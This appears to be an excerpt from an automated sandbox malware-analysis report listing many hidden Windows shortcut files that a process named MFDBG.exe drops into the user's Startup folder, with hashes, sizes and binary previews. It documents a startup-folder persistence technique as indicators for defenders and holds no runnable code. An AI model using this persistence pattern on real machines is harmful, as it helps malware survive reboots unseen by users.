File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:56 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930699230113212
Encrypted:	false
SSDEEP:	24:86Bfh48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8459EvZ0yRO7DLO2zdxdRd1kyg
MD5:	1B90DCB666883F0D2BBB33FE92329B3A
SHA1:	D1262E4C5D0CE11758D293D0109AEADE2B125E3B
SHA-256:	20A5A9115F42BFA717F1C57130A80B626DF9867B555A800D086A4602661A7AD6
SHA-512:	A959A838A92CA4B3B1577828E90668F3EB959131F37B87A7A05CB15861D2C39F75DBA3E99EE37D51C7E2D835252B46DAFCC01DF35DE60ED455491141A984D0FF
Malicious:	false
Preview:	L..................F....".......d...Ty.>d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....+.>d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_43fdf89f4bd34e69965ecc7f228a2f4f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920126542888543
Encrypted:	false
SSDEEP:	24:8orBf6D8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8odyQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	0FAFFBC0DC389FBEA71F534981E09794
SHA1:	A70CB01D42B25596D8B8C6BD9943D082B565A045
SHA-256:	6B786E2538D2EA4AB06BB46FC76D7C32A550A806D6D72961CE5DBE6DE70D6FA5
SHA-512:	363D391D4F86B1D87EE2EEDCF4F581673F9B979A420CD0AA886FDF1B004BC786E94A4623548B8B287C52444EADBD39874EACE74725EE7C60481850C6E5689EEC
Malicious:	false
Preview:	L..................F....".......d....=.%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...5.%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_443706702bc64a6084280292c3047e4a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:11 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9205953261269935
Encrypted:	false
SSDEEP:	24:8PBfR8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8Z+EvZ0yRO7DLO2zdxdRd1kyg
MD5:	DE74131CB72EC7637C42CAAB1411A3B4
SHA1:	F9FC561AB30B7BBEED9EC74712BA88380D82E69C
SHA-256:	70B03176E3198C23CD7D3994A9FE04765AE6D2D818A872CA58BF3DB0713CCABB
SHA-512:	8F0A04557A92366C438D5FA072319F1E035A6EB255E0929EE947E099C6C7977F3C0D6A899F0991C8870E0BA00131F5947C764559B9ECAD6BD18E31547A1028EC
Malicious:	false
Preview:	L..................F....".......d...b..#d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...b..#d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_447d2d7f00ca4f0f88eb0d71af9cd4eb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926810730455179
Encrypted:	false
SSDEEP:	24:8wBfEO8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8+uEvZ0yRO7DLO2zdxdRd1kyg
MD5:	2A923B68AEFF24107B201EA9063E8B22
SHA1:	B89426A14CBC8E2BE10E59E1A79C3600E02A52EA
SHA-256:	7780F37AB96CF8CF1E49F5BBA7F8BE1728F8CB856A3EF228E5549F0C528B2187
SHA-512:	3240E28EB594A8331C93FE44D699B1A75C49437A23C91B60B1848481E7836D124502896E09F32A8D80DF0F792EF2C5A6E6A073B0BC986F5D18D2865736240C2E
Malicious:	false
Preview:	L..................F....".......d...>K.~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_44a0fbf134ef4451b2d0e46686ba226e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922752490017483
Encrypted:	false
SSDEEP:	24:8V3TBf8+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8TETEvZ0yRO7DLO2zdxdRd1kyg
MD5:	1A43AC363DF7A9DF73F067AA37380511
SHA1:	2264977B1D65DAF78C5999F3768DA8351F6FF811
SHA-256:	25B13356F31AEC40F022CF7185E37DC6D1BCBA5EBA547C49542549DDE635C553
SHA-512:	FB0ED29C141C9C7D3FADD33ACD6B1F8389F0D6DBC5D2929F208361662AA37C3393324FD01BAFD51B02218AD3A8D36D9B07FC5CB7C929A58039CB39225237137F
Malicious:	false
Preview:	L..................F....".......d...h.-<d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....;d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_450bf0bac6be499eaaf0e4e92ff92060.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926853831014886
Encrypted:	false
SSDEEP:	24:8SrBfwof8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8SdWEvZ0yRO7DLO2zdxdRd1kyg
MD5:	CA8B8A496A68ADC521025508303066B7
SHA1:	009646D3C78C5EEE63957F2245A67ACD1A933C32
SHA-256:	A7BF1FB5DE7A9C6ED3333E749B192F41D716B6798C60682713977A02209BAC9D
SHA-512:	8621CFF06B39BF757C8BC4C66E1C74B2B852C22AE4B9039AEBAF1CD60AB2AE0B83ADF4D5A035C31FC31AFEE6218608EDEA014810F4FB611CB0EA68AF8CCC080C
Malicious:	false
Preview:	L..................F....".......d...Q.[[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....:W[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4527a32bf1aa4a009adfb4b7179d7c0b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:47 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922015783711064
Encrypted:	false
SSDEEP:	24:87BfmQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8teFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	B05683E77F63505A408458A71C228178
SHA1:	EB7C07C8F542BBCFA46C5E3398BB1EEAA7A1660B
SHA-256:	3511ED46BCDA82AF4E935BA8EBA47027A1179FDCF84B8336EBBDDC087950C45E
SHA-512:	F87CA3FE2D241BC26D74652FA641307F73709549CBFC74D8262545080243E97C7C5648C84138AE9F3C86EBCAFB6190259D563181D851DEC5EEBAEBBD66C2B78D
Malicious:	false
Preview:	L..................F....".......d...u..9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....).9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_452f4c914300411b8166c6c455c85ed3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:47 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92729985517936
Encrypted:	false
SSDEEP:	24:8gBfE8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8upEvZ0yRO7DLO2zdxdRd1kyg
MD5:	9CB7BEB488DB441AE1E94586C755F0B3
SHA1:	467736AC2B25B6E1590131F9E278F91F1D3B6FD2
SHA-256:	BB60552000E1CA2BE1015AA12D67DEB26DB57E7028D227452A0388953ED975D6
SHA-512:	FC29985DE09D838CFAF0B9986E2DC9C86A4E318E0C5BF2EB1FCCAE7FC22445F7029729EE92993EDBC5D3D987AA61202ABD0CB9BA7015B6CA1BD3E6E748434790
Malicious:	false
Preview:	L..................F....".......d.....%]d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....%]d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_456f6da790d04496875aace54b4628ce.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923076077629164
Encrypted:	false
SSDEEP:	24:8kBf048EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8K89EvZ0yRO7DLO2zdxdRd1kyg
MD5:	3ADC66E645F4FCD5B042080C3F2ECD3D
SHA1:	4BE7D115CC2B7EF5ADA82FB246DE1DDF671A6222
SHA-256:	5F6DD1A6C0422DE82EAF4EC8E3D8754DA2F6FCA9E0B9E7797AA6674A1DB3E715
SHA-512:	EDE34E600E91A383E06F6D4220302166B72E2717216D13219816D695C76EB7694E872424B292C7BE4655E6530BA6F37CAF326877CA5197185747F21FB095D2D2
Malicious:	false
Preview:	L..................F....".......d.....d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...X...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_45786d1e8d45453bbf81248f437fb1d4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:50 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925844802796627
Encrypted:	false
SSDEEP:	24:8pBfX8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8TEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	57613414488B4CBF71B3B9E5BCFBE19B
SHA1:	A31B441C8B1E87DDE5D89DBE3FD316B2A80D7262
SHA-256:	8F77C537749AE363D2B498A8FCDED7E14B4E09F6E5C50F31C8D630F4ED865838
SHA-512:	A6434F86C225CC8704D737F252967EC8D1975D4757C68C20E612034211280066625128BBBAE5AD6F78B7AC7E28CA879F66F96E49B9D3F6E208ECAE2C0F028D22
Malicious:	false
Preview:	L..................F....".......d.....;d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....c.;d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_45d635f61f244d119a123fafcd607c28.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9233320195282415
Encrypted:	false
SSDEEP:	24:8UBfeQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:862FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	28D47113251D44A861037B531E2C5E6A
SHA1:	9F43B51E676BBF7BCC181A2C859DF98C21BF52E8
SHA-256:	45C773BD9F82529731C9B6281BEE7D504ED5FA01E52C5006C1F467125AE8BAF1
SHA-512:	712BB93817D62E031169F6D45B881FEF1ECC49CBAFF661823FB888F564DC689B8C2FE62E298E693F301D06EC270286E4FB06087395533FAB437F4B763A7AA715
Malicious:	false
Preview:	L..................F....".......d...A.{Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...6UrRd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_462c9bd944434f13b040b4da0ac1aa02.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:09 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926546768860176
Encrypted:	false
SSDEEP:	24:8eBfW8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:80DEvZ0yRO7DLO2zdxdRd1kyg
MD5:	AA3E91D2B081E04CE1DFEC1CC18B79DA
SHA1:	9746A610A3D3DEB66CD8FCAC8BBBD6D448474FFE
SHA-256:	3210714C1E731F7F527B18FDFBCB1140D1BB2F56CD945AD87D2B905D8DBA0ABB
SHA-512:	B36FE77BC8B2FB95CEB399C62796E3586611E482E917A617D37CFB74ECCA2192DB2990CF08877BF0D32E76300B71E025B692E162B3A02A7EA19B80B15FFFF76F
Malicious:	false
Preview:	L..................F....".......d....5.#d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....<#d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_46690152aed24097b2a8d73b0c9fb17b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928740799693369
Encrypted:	false
SSDEEP:	24:8fBf48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8pFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	ADA506694A9A493393D542F511D9D898
SHA1:	BC8DD7DC3B412404DB42CEF44B70ED89722DB282
SHA-256:	E91EFFF387A680BDC60D5FBFDA7382189F642B86F47F595A0E458BC021FA5755
SHA-512:	93D9382EC2924E11E0908699BABB91E1CF68273E8B4A897B2819D861728C314D2AAA70645A81E84748EA552C6CAE12C47F2ED72D01807CC2F589479B71B4BD62
Malicious:	false
Preview:	L..................F....".......d....A.Zd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...$}.Zd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_466ee1e20e234bdeae7b754f21f52882.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
